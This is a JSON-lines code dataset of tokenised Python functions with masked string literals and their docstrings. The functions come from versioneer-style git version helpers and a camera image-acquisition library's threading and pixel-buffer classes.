{"signature": "def versions_from_parentdir(parentdir_prefix, root, verbose):", "body": "rootdirs = []<EOL>for i in range(<NUM_LIT:3>):<EOL><INDENT>dirname = os.path.basename(root)<EOL>if dirname.startswith(parentdir_prefix):<EOL><INDENT>return {\"<STR_LIT:version>\": dirname[len(parentdir_prefix):],<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": False, \"<STR_LIT:error>\": None, \"<STR_LIT:date>\": None}<EOL><DEDENT>else:<EOL><INDENT>rootdirs.append(root)<EOL>root = os.path.dirname(root)  <EOL><DEDENT><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" %<EOL>(str(rootdirs), parentdir_prefix))<EOL><DEDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL>", "docstring": "Try to determine the version from the parent directory name.\n\n    Source tarballs conventionally unpack into a directory that includes both\n    the project name and a version string. We will also support searching up\n    two directory levels for an appropriately named parent directory", "id": "f8724:m4"}
{"signature": "@register_vcs_handler(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>def git_get_keywords(versionfile_abs):", "body": "<EOL>keywords = {}<EOL>try:<EOL><INDENT>f = open(versionfile_abs, \"<STR_LIT:r>\")<EOL>for line in f.readlines():<EOL><INDENT>if line.strip().startswith(\"<STR_LIT>\"):<EOL><INDENT>mo = re.search(r'<STR_LIT>', line)<EOL>if mo:<EOL><INDENT>keywords[\"<STR_LIT>\"] = mo.group(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>if line.strip().startswith(\"<STR_LIT>\"):<EOL><INDENT>mo = re.search(r'<STR_LIT>', line)<EOL>if mo:<EOL><INDENT>keywords[\"<STR_LIT>\"] = mo.group(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>if line.strip().startswith(\"<STR_LIT>\"):<EOL><INDENT>mo = re.search(r'<STR_LIT>', line)<EOL>if mo:<EOL><INDENT>keywords[\"<STR_LIT:date>\"] = mo.group(<NUM_LIT:1>)<EOL><DEDENT><DEDENT><DEDENT>f.close()<EOL><DEDENT>except EnvironmentError:<EOL><INDENT>pass<EOL><DEDENT>return keywords<EOL>", "docstring": "Extract version information from the given file.", "id": "f8724:m5"}
{"signature": "@register_vcs_handler(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>def git_versions_from_keywords(keywords, tag_prefix, verbose):", "body": "if not keywords:<EOL><INDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>date = keywords.get(\"<STR_LIT:date>\")<EOL>if date is not None:<EOL><INDENT>date = date.strip().replace(\"<STR_LIT:U+0020>\", \"<STR_LIT:T>\", <NUM_LIT:1>).replace(\"<STR_LIT:U+0020>\", \"<STR_LIT>\", <NUM_LIT:1>)<EOL><DEDENT>refnames = keywords[\"<STR_LIT>\"].strip()<EOL>if refnames.startswith(\"<STR_LIT>\"):<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>refs = set([r.strip() for r in refnames.strip(\"<STR_LIT>\").split(\"<STR_LIT:U+002C>\")])<EOL>TAG = \"<STR_LIT>\"<EOL>tags = set([r[len(TAG):] for r in refs if r.startswith(TAG)])<EOL>if not tags:<EOL><INDENT>tags = set([r for r in refs if re.search(r'<STR_LIT>', r)])<EOL>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % \"<STR_LIT:U+002C>\".join(refs - tags))<EOL><DEDENT><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % \"<STR_LIT:U+002C>\".join(sorted(tags)))<EOL><DEDENT>for ref in sorted(tags):<EOL><INDENT>if ref.startswith(tag_prefix):<EOL><INDENT>r = ref[len(tag_prefix):]<EOL>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % r)<EOL><DEDENT>return {\"<STR_LIT:version>\": r,<EOL>\"<STR_LIT>\": keywords[\"<STR_LIT>\"].strip(),<EOL>\"<STR_LIT>\": False, \"<STR_LIT:error>\": None,<EOL>\"<STR_LIT:date>\": date}<EOL><DEDENT><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>return {\"<STR_LIT:version>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": keywords[\"<STR_LIT>\"].strip(),<EOL>\"<STR_LIT>\": False, \"<STR_LIT:error>\": \"<STR_LIT>\", \"<STR_LIT:date>\": None}<EOL>", "docstring": "Get version information from git keywords.", "id": "f8724:m6"}
{"signature": "@register_vcs_handler(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>def git_pieces_from_vcs(tag_prefix, root, verbose, run_command=run_command):", "body": "GITS = [\"<STR_LIT>\"]<EOL>if sys.platform == \"<STR_LIT:win32>\":<EOL><INDENT>GITS = [\"<STR_LIT>\", \"<STR_LIT>\"]<EOL><DEDENT>out, rc = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\"], cwd=root,<EOL>hide_stderr=True)<EOL>if rc != <NUM_LIT:0>:<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % root)<EOL><DEDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>describe_out, rc = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\" % tag_prefix],<EOL>cwd=root)<EOL>if describe_out is None:<EOL><INDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>describe_out = describe_out.strip()<EOL>full_out, rc = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\"], cwd=root)<EOL>if full_out is None:<EOL><INDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>full_out = full_out.strip()<EOL>pieces = {}<EOL>pieces[\"<STR_LIT>\"] = full_out<EOL>pieces[\"<STR_LIT>\"] = full_out[:<NUM_LIT:7>]  <EOL>pieces[\"<STR_LIT:error>\"] = None<EOL>git_describe = describe_out<EOL>dirty = git_describe.endswith(\"<STR_LIT>\")<EOL>pieces[\"<STR_LIT>\"] = dirty<EOL>if dirty:<EOL><INDENT>git_describe = git_describe[:git_describe.rindex(\"<STR_LIT>\")]<EOL><DEDENT>if \"<STR_LIT:->\" in git_describe:<EOL><INDENT>mo = re.search(r'<STR_LIT>', git_describe)<EOL>if not mo:<EOL><INDENT>pieces[\"<STR_LIT:error>\"] = (\"<STR_LIT>\"<EOL>% describe_out)<EOL>return pieces<EOL><DEDENT>full_tag = mo.group(<NUM_LIT:1>)<EOL>if not full_tag.startswith(tag_prefix):<EOL><INDENT>if verbose:<EOL><INDENT>fmt = \"<STR_LIT>\"<EOL>print(fmt % (full_tag, tag_prefix))<EOL><DEDENT>pieces[\"<STR_LIT:error>\"] = (\"<STR_LIT>\"<EOL>% (full_tag, tag_prefix))<EOL>return pieces<EOL><DEDENT>pieces[\"<STR_LIT>\"] = full_tag[len(tag_prefix):]<EOL>pieces[\"<STR_LIT>\"] = int(mo.group(<NUM_LIT:2>))<EOL>pieces[\"<STR_LIT>\"] = mo.group(<NUM_LIT:3>)<EOL><DEDENT>else:<EOL><INDENT>pieces[\"<STR_LIT>\"] = None<EOL>count_out, rc = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"],<EOL>cwd=root)<EOL>pieces[\"<STR_LIT>\"] = int(count_out)  <EOL><DEDENT>date = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"],<EOL>cwd=root)[<NUM_LIT:0>].strip()<EOL>pieces[\"<STR_LIT:date>\"] = date.strip().replace(\"<STR_LIT:U+0020>\", \"<STR_LIT:T>\", <NUM_LIT:1>).replace(\"<STR_LIT:U+0020>\", \"<STR_LIT>\", <NUM_LIT:1>)<EOL>return pieces<EOL>", "docstring": "Get version from 'git describe' in the root of the source tree.\n\n    This only gets called if the git-archive 'subst' keywords were *not*\n    expanded, and _version.py hasn't already been rewritten with a short\n    version string, meaning we're inside a checked out source tree.", "id": "f8724:m7"}
{"signature": "def plus_or_dot(pieces):", "body": "if \"<STR_LIT:+>\" in pieces.get(\"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>return \"<STR_LIT:.>\"<EOL><DEDENT>return \"<STR_LIT:+>\"<EOL>", "docstring": "Return a + if we don't already have one, else return a .", "id": "f8724:m8"}
{"signature": "def render_pep440(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"] or pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += plus_or_dot(pieces)<EOL>rendered += \"<STR_LIT>\" % (pieces[\"<STR_LIT>\"], pieces[\"<STR_LIT>\"])<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>rendered = \"<STR_LIT>\" % (pieces[\"<STR_LIT>\"],<EOL>pieces[\"<STR_LIT>\"])<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT><DEDENT>return rendered<EOL>", "docstring": "Build up version string, with post-release \"local version identifier\".\n\n    Our goal: TAG[+DISTANCE.gHEX[.dirty]] . Note that if you\n    get a tagged build and then dirty it, you'll get TAG+0.gHEX.dirty\n\n    Exceptions:\n    1: no tags. git_describe was just HEX. 0+untagged.DISTANCE.gHEX[.dirty]", "id": "f8724:m9"}
{"signature": "def render_pep440_pre(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>rendered = \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL><DEDENT>return rendered<EOL>", "docstring": "TAG[.post.devDISTANCE] -- No -dirty.\n\n    Exceptions:\n    1: no tags. 0.post.devDISTANCE", "id": "f8724:m10"}
{"signature": "def render_pep440_post(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"] or pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT>rendered += plus_or_dot(pieces)<EOL>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>rendered = \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL><DEDENT>return rendered<EOL>", "docstring": "TAG[.postDISTANCE[.dev0]+gHEX] .\n\n    The \".dev0\" means dirty. Note that .dev0 sorts backwards\n    (a dirty tree will appear \"older\" than the corresponding clean one),\n    but you shouldn't be releasing software with -dirty anyways.\n\n    Exceptions:\n    1: no tags. 0.postDISTANCE[.dev0]", "id": "f8724:m11"}
{"signature": "def render_pep440_old(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"] or pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>rendered = \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT><DEDENT>return rendered<EOL>", "docstring": "TAG[.postDISTANCE[.dev0]] .\n\n    The \".dev0\" means dirty.\n\n    Eexceptions:\n    1: no tags. 0.postDISTANCE[.dev0]", "id": "f8724:m12"}
{"signature": "def render_git_describe(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\" % (pieces[\"<STR_LIT>\"], pieces[\"<STR_LIT>\"])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL><DEDENT>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT>return rendered<EOL>", "docstring": "TAG[-DISTANCE-gHEX][-dirty].\n\n    Like 'git describe --tags --dirty --always'.\n\n    Exceptions:\n    1: no tags. HEX[-dirty]  (note: no 'g' prefix)", "id": "f8724:m13"}
{"signature": "def render_git_describe_long(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>rendered += \"<STR_LIT>\" % (pieces[\"<STR_LIT>\"], pieces[\"<STR_LIT>\"])<EOL><DEDENT>else:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL><DEDENT>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT>return rendered<EOL>", "docstring": "TAG-DISTANCE-gHEX[-dirty].\n\n    Like 'git describe --tags --dirty --always -long'.\n    The distance/hash is unconditional.\n\n    Exceptions:\n    1: no tags. HEX[-dirty]  (note: no 'g' prefix)", "id": "f8724:m14"}
{"signature": "def render(pieces, style):", "body": "if pieces[\"<STR_LIT:error>\"]:<EOL><INDENT>return {\"<STR_LIT:version>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": pieces.get(\"<STR_LIT>\"),<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT:error>\": pieces[\"<STR_LIT:error>\"],<EOL>\"<STR_LIT:date>\": None}<EOL><DEDENT>if not style or style == \"<STR_LIT:default>\":<EOL><INDENT>style = \"<STR_LIT>\"  <EOL><DEDENT>if style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_pep440(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_pep440_pre(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_pep440_post(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_pep440_old(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_git_describe(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_git_describe_long(pieces)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % style)<EOL><DEDENT>return {\"<STR_LIT:version>\": rendered, \"<STR_LIT>\": pieces[\"<STR_LIT>\"],<EOL>\"<STR_LIT>\": pieces[\"<STR_LIT>\"], \"<STR_LIT:error>\": None,<EOL>\"<STR_LIT:date>\": pieces.get(\"<STR_LIT:date>\")}<EOL>", "docstring": "Render the given version pieces into the requested style.", "id": "f8724:m15"}
{"signature": "def get_versions():", "body": "<EOL>cfg = get_config()<EOL>verbose = cfg.verbose<EOL>try:<EOL><INDENT>return git_versions_from_keywords(get_keywords(), cfg.tag_prefix,<EOL>verbose)<EOL><DEDENT>except NotThisMethod:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>root = os.path.realpath(__file__)<EOL>for i in cfg.versionfile_source.split('<STR_LIT:/>'):<EOL><INDENT>root = os.path.dirname(root)<EOL><DEDENT><DEDENT>except NameError:<EOL><INDENT>return {\"<STR_LIT:version>\": \"<STR_LIT>\", \"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT:error>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:date>\": None}<EOL><DEDENT>try:<EOL><INDENT>pieces = git_pieces_from_vcs(cfg.tag_prefix, root, verbose)<EOL>return render(pieces, cfg.style)<EOL><DEDENT>except NotThisMethod:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>if cfg.parentdir_prefix:<EOL><INDENT>return versions_from_parentdir(cfg.parentdir_prefix, root, verbose)<EOL><DEDENT><DEDENT>except NotThisMethod:<EOL><INDENT>pass<EOL><DEDENT>return {\"<STR_LIT:version>\": \"<STR_LIT>\", \"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT:error>\": \"<STR_LIT>\", \"<STR_LIT:date>\": None}<EOL>", "docstring": "Get version information or return default if unable to do so.", "id": "f8724:m16"}
{"signature": "def __init__(self, *, worker=None, timeout=<NUM_LIT:0>):", "body": "<EOL>super().__init__()<EOL>self._worker = worker<EOL>self._is_running = False<EOL>self._timeout_s = timeout<EOL>self._time_base = <NUM_LIT:0><EOL>", "docstring": ":param worker:\n:param timeout: Set timeout value in second.", "id": "f8726:c0:m0"}
{"signature": "def get_effective_pixel_size(pixel_format_value):", "body": "return (pixel_format_value & pfnc_pixel_size_mask) >>pfnc_pixel_size_shift<EOL>", "docstring": "Returns the effective pixel size (number of bits a pixel occupies in memory).\nThis includes padding in many cases and the actually used bits are less.", "id": "f8732:m0"}
{"signature": "def get_bits_per_pixel(data_format):", "body": "if data_format in component_8bit_formats:<EOL><INDENT>return <NUM_LIT:8><EOL><DEDENT>elif data_format in component_10bit_formats:<EOL><INDENT>return <NUM_LIT:10><EOL><DEDENT>elif data_format in component_12bit_formats:<EOL><INDENT>return <NUM_LIT:12><EOL><DEDENT>elif data_format in component_14bit_formats:<EOL><INDENT>return <NUM_LIT><EOL><DEDENT>elif data_format in component_16bit_formats:<EOL><INDENT>return <NUM_LIT:16><EOL><DEDENT>return None<EOL>", "docstring": "Returns the number of (used) bits per pixel.\nSo without padding.\nReturns None if format is not known.", "id": "f8732:m4"}
{"signature": "def is_running_on_macos():", "body": "pattern = re.compile('<STR_LIT>', re.IGNORECASE)<EOL>return False if not pattern.search(platform.platform()) else True<EOL>", "docstring": "Returns a truth value for a proposition: \"the program is running on a\nmacOS machine\".\n\n:rtype: bool", "id": "f8735:m0"}
{"signature": "def is_running_on_windows():", "body": "pattern = re.compile('<STR_LIT>', re.IGNORECASE)<EOL>return False if not pattern.search(platform.platform()) else True<EOL>", "docstring": "Returns a truth value for a proposition: \"the program is running on a\nWindows machine\".\n\n:rtype: bool", "id": "f8735:m1"}
{"signature": "def __call__(self, signum, frame):", "body": "self._logger.debug(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(<EOL>self._event<EOL>)<EOL>)<EOL>self._event.set()<EOL>for thread in self._threads:<EOL><INDENT>thread.stop()<EOL><DEDENT>self._logger.debug(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(<EOL>self._event<EOL>)<EOL>)<EOL>", "docstring": "A registered Python signal modules will call this method.", "id": "f8741:c0:m1"}
{"signature": "def __init__(self, *, mutex=None, logger=None):", "body": "<EOL>self._logger = logger or get_logger(name=__name__)<EOL>super().__init__()<EOL>self._is_running = False<EOL>self._mutex = mutex<EOL>", "docstring": ":param mutex:\n:param logger:", "id": "f8741:c1:m0"}
{"signature": "def start(self):", "body": "self._is_running = True<EOL>self._start()<EOL>self._logger.debug(<EOL>'<STR_LIT>'.format(self.id_)<EOL>)<EOL>", "docstring": ":return: None.", "id": "f8741:c1:m1"}
{"signature": "def _start(self):", "body": "raise NotImplementedError<EOL>", "docstring": "This method is abstract and should be reimplemented in any sub-class.\n\nStarts its worker running.\n\n:return: None.", "id": "f8741:c1:m2"}
{"signature": "def stop(self):", "body": "raise NotImplementedError<EOL>", "docstring": "This method is abstract and should be reimplemented in any sub-class.\n\nStops its worker running.\n\n:return: None.", "id": "f8741:c1:m3"}
{"signature": "def acquire(self):", "body": "raise NotImplementedError<EOL>", "docstring": "This method is abstract and should be reimplemented in any sub-class.\n\nAcquires a mutex.\n\n:return: None.", "id": "f8741:c1:m4"}
{"signature": "def release(self):", "body": "raise NotImplementedError<EOL>", "docstring": "This method is abstract and should be reimplemented in any sub-class.\n\nReleases the acquired mutex.\n\n:return: None.", "id": "f8741:c1:m5"}
{"signature": "@property<EOL><INDENT>def is_running(self):<DEDENT>", "body": "return self._is_running<EOL>", "docstring": ":return: :const:`True` if the worker is still running. Otherwise :const:`False`.", "id": "f8741:c1:m6"}
{"signature": "@property<EOL><INDENT>def worker(self):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "This method is abstract and should be reimplemented in any sub-class.\n\n:return: None.", "id": "f8741:c1:m8"}
{"signature": "@worker.setter<EOL><INDENT>def worker(self, obj):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "This method is abstract and should be reimplemented in any sub-class.\n\n:return: None.", "id": "f8741:c1:m9"}
{"signature": "@property<EOL><INDENT>def mutex(self):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "This method is abstract and should be reimplemented in any sub-class.\n\n:return: None.", "id": "f8741:c1:m10"}
{"signature": "@property<EOL><INDENT>def id_(self):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "This method is abstract and should be reimplemented in any sub-class.\n\n:return: None.", "id": "f8741:c1:m11"}
{"signature": "def __init__(self, thread: ThreadBase=None):", "body": "<EOL>assert thread<EOL>super().__init__()<EOL>self._thread = thread<EOL>self._locked_mutex = None<EOL>", "docstring": ":param thread:", "id": "f8741:c2:m0"}
{"signature": "def __init__(self, *, mutex=None, worker=None, logger=None,<EOL>sleep_duration=_sleep_duration_default):", "body": "<EOL>super().__init__(mutex=mutex, logger=logger)<EOL>self._thread = None<EOL>self._worker = worker<EOL>self._sleep_duration = sleep_duration<EOL>", "docstring": ":param mutex:\n:param worker:\n:param logger:\n:param sleep_duration:", "id": "f8741:c3:m0"}
{"signature": "def __init__(self, base=None, worker=None,<EOL>sleep_duration=_sleep_duration_default):", "body": "<EOL>assert base<EOL>super().__init__(daemon=self._is_interactive())<EOL>self._worker = worker<EOL>self._base = base<EOL>self._sleep_duration = sleep_duration<EOL>", "docstring": ":param base:\n:param worker:\n:param sleep_duration:", "id": "f8741:c4:m0"}
{"signature": "def run(self):", "body": "while self._base.is_running:<EOL><INDENT>if self._worker:<EOL><INDENT>self._worker()<EOL>time.sleep(self._sleep_duration)<EOL><DEDENT><DEDENT>", "docstring": "Runs its worker method.\n\nThis method will be terminated once its parent's is_running\nproperty turns False.", "id": "f8741:c4:m3"}
{"signature": "def __init__(self, *, buffer=None):", "body": "<EOL>assert buffer<EOL>super().__init__()<EOL>self._buffer = buffer<EOL>self._data = None<EOL>", "docstring": ":param buffer:", "id": "f8741:c5:m0"}
{"signature": "@property<EOL><INDENT>def data_format(self):<DEDENT>", "body": "return self._buffer.data_format<EOL>", "docstring": ":return: The data type of the data component.", "id": "f8741:c5:m1"}
{"signature": "@property<EOL><INDENT>def data_format_namespace(self):<DEDENT>", "body": "return self._buffer.data_format<EOL>", "docstring": ":return: The data type namespace of the data component.", "id": "f8741:c5:m2"}
{"signature": "@property<EOL><INDENT>def source_id(self):<DEDENT>", "body": "return self._buffer.source_id<EOL>", "docstring": ":return: The source ID of the data component.", "id": "f8741:c5:m3"}
{"signature": "@property<EOL><INDENT>def data(self):<DEDENT>", "body": "return self._data<EOL>", "docstring": ":return: The component data.", "id": "f8741:c5:m4"}
{"signature": "def __init__(self, *, buffer=None, part=None, node_map=None, logger=None):", "body": "<EOL>assert buffer<EOL>assert node_map<EOL>super().__init__(buffer=buffer)<EOL>self._logger = logger or get_logger(name=__name__)<EOL>self._part = part<EOL>self._node_map = node_map<EOL>self._data = None<EOL>self._num_components_per_pixel = <NUM_LIT:0><EOL>symbolic = self.data_format<EOL>if self.x_padding > <NUM_LIT:0>:<EOL><INDENT>dtype = '<STR_LIT>'<EOL>bytes_per_pixel_data_component = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>if symbolic in uint16_formats:<EOL><INDENT>dtype = '<STR_LIT>'<EOL>bytes_per_pixel_data_component = <NUM_LIT:2><EOL><DEDENT>elif symbolic in uint32_formats:<EOL><INDENT>dtype = '<STR_LIT>'<EOL>bytes_per_pixel_data_component = <NUM_LIT:4><EOL><DEDENT>elif symbolic in float32_formats:<EOL><INDENT>dtype = '<STR_LIT>'<EOL>bytes_per_pixel_data_component = <NUM_LIT:4><EOL><DEDENT>elif symbolic in uint8_formats:<EOL><INDENT>dtype = '<STR_LIT>'<EOL>bytes_per_pixel_data_component = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>self._data = None<EOL>return<EOL><DEDENT><DEDENT>if symbolic in lmn_444_location_formats:<EOL><INDENT>num_components_per_pixel = <NUM_LIT><EOL><DEDENT>elif symbolic in lmn_422_location_formats:<EOL><INDENT>num_components_per_pixel = <NUM_LIT><EOL><DEDENT>elif symbolic in lmn_411_location_formats:<EOL><INDENT>num_components_per_pixel = <NUM_LIT><EOL><DEDENT>elif symbolic in lmno_4444_location_formats:<EOL><INDENT>num_components_per_pixel = <NUM_LIT><EOL><DEDENT>elif symbolic in mono_location_formats orsymbolic in bayer_location_formats:<EOL><INDENT>num_components_per_pixel = <NUM_LIT:1.><EOL><DEDENT>else:<EOL><INDENT>self._data = None<EOL>return<EOL><DEDENT>self._num_components_per_pixel = num_components_per_pixel<EOL>self._symbolic = symbolic<EOL>width = self.width<EOL>height = self.height<EOL>if self._part:<EOL><INDENT>count = self._part.data_size<EOL>count //= bytes_per_pixel_data_component<EOL>data_offset = self._part.data_offset<EOL><DEDENT>else:<EOL><INDENT>count = width * height<EOL>count *= num_components_per_pixel<EOL>count += self.y_padding<EOL>data_offset = <NUM_LIT:0><EOL><DEDENT>if _is_logging_buffer_manipulation:<EOL><INDENT>self._logger.debug(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT:)>'.format(<EOL>len(self._buffer.raw_buffer),<EOL>int(count),<EOL>dtype,<EOL>data_offset,<EOL>symbolic,<EOL>self.x_padding,<EOL>self.y_padding,<EOL>)<EOL>)<EOL><DEDENT>self._data = np.frombuffer(<EOL>self._buffer.raw_buffer,<EOL>count=int(count),<EOL>dtype=dtype,<EOL>offset=data_offset<EOL>)<EOL>", "docstring": ":param buffer:\n:param part:\n:param node_map:", "id": "f8741:c7:m0"}
{"signature": "def represent_pixel_location(self):", "body": "if self.data is None:<EOL><INDENT>return None<EOL><DEDENT>return self._data.reshape(<EOL>self.height + self.y_padding,<EOL>int(self.width * self._num_components_per_pixel + self.x_padding)<EOL>)<EOL>", "docstring": "Returns a NumPy array that represents the 2D pixel location,\nwhich is defined by PFNC, of the original image data.\n\nYou may use the returned NumPy array for a calculation to map the\noriginal image to another format.\n\n:return: A NumPy array that represents the 2D pixel location.", "id": "f8741:c7:m1"}
{"signature": "@property<EOL><INDENT>def num_components_per_pixel(self):<DEDENT>", "body": "return self._num_components_per_pixel<EOL>", "docstring": ":return: The number of data components per pixel.", "id": "f8741:c7:m2"}
{"signature": "@property<EOL><INDENT>def width(self):<DEDENT>", "body": "try:<EOL><INDENT>if self._part:<EOL><INDENT>value = self._part.width<EOL><DEDENT>else:<EOL><INDENT>value = self._buffer.width<EOL><DEDENT><DEDENT>except InvalidParameterException:<EOL><INDENT>value = self._node_map.Width.value<EOL><DEDENT>return value<EOL>", "docstring": ":return: The width of the data component in the buffer in number of pixels.", "id": "f8741:c7:m4"}
{"signature": "@property<EOL><INDENT>def height(self):<DEDENT>", "body": "try:<EOL><INDENT>if self._part:<EOL><INDENT>value = self._part.height<EOL><DEDENT>else:<EOL><INDENT>value = self._buffer.height<EOL><DEDENT><DEDENT>except InvalidParameterException:<EOL><INDENT>value = self._node_map.Height.value<EOL><DEDENT>return value<EOL>", "docstring": ":return: The height of the data component in the buffer in number of pixels.", "id": "f8741:c7:m5"}
{"signature": "@property<EOL><INDENT>def data_format_value(self):<DEDENT>", "body": "try:<EOL><INDENT>if self._part:<EOL><INDENT>value = self._part.data_format<EOL><DEDENT>else:<EOL><INDENT>value = self._buffer.pixel_format<EOL><DEDENT><DEDENT>except InvalidParameterException:<EOL><INDENT>value = self._node_map.PixelFormat.value<EOL><DEDENT>return value<EOL>", "docstring": ":return: The data type of the data component as integer value.", "id": "f8741:c7:m6"}
{"signature": "@property<EOL><INDENT>def data_format(self):<DEDENT>", "body": "return symbolics[self.data_format_value]<EOL>", "docstring": ":return: The data type of the data component as string.", "id": "f8741:c7:m7"}
{"signature": "@property<EOL><INDENT>def delivered_image_height(self):<DEDENT>", "body": "try:<EOL><INDENT>if self._part:<EOL><INDENT>value = self._part.delivered_image_height<EOL><DEDENT>else:<EOL><INDENT>value = self._buffer.delivered_image_height<EOL><DEDENT><DEDENT>except InvalidParameterException:<EOL><INDENT>value = <NUM_LIT:0><EOL><DEDENT>return value<EOL>", "docstring": ":return: The image height of the data component.", "id": "f8741:c7:m8"}
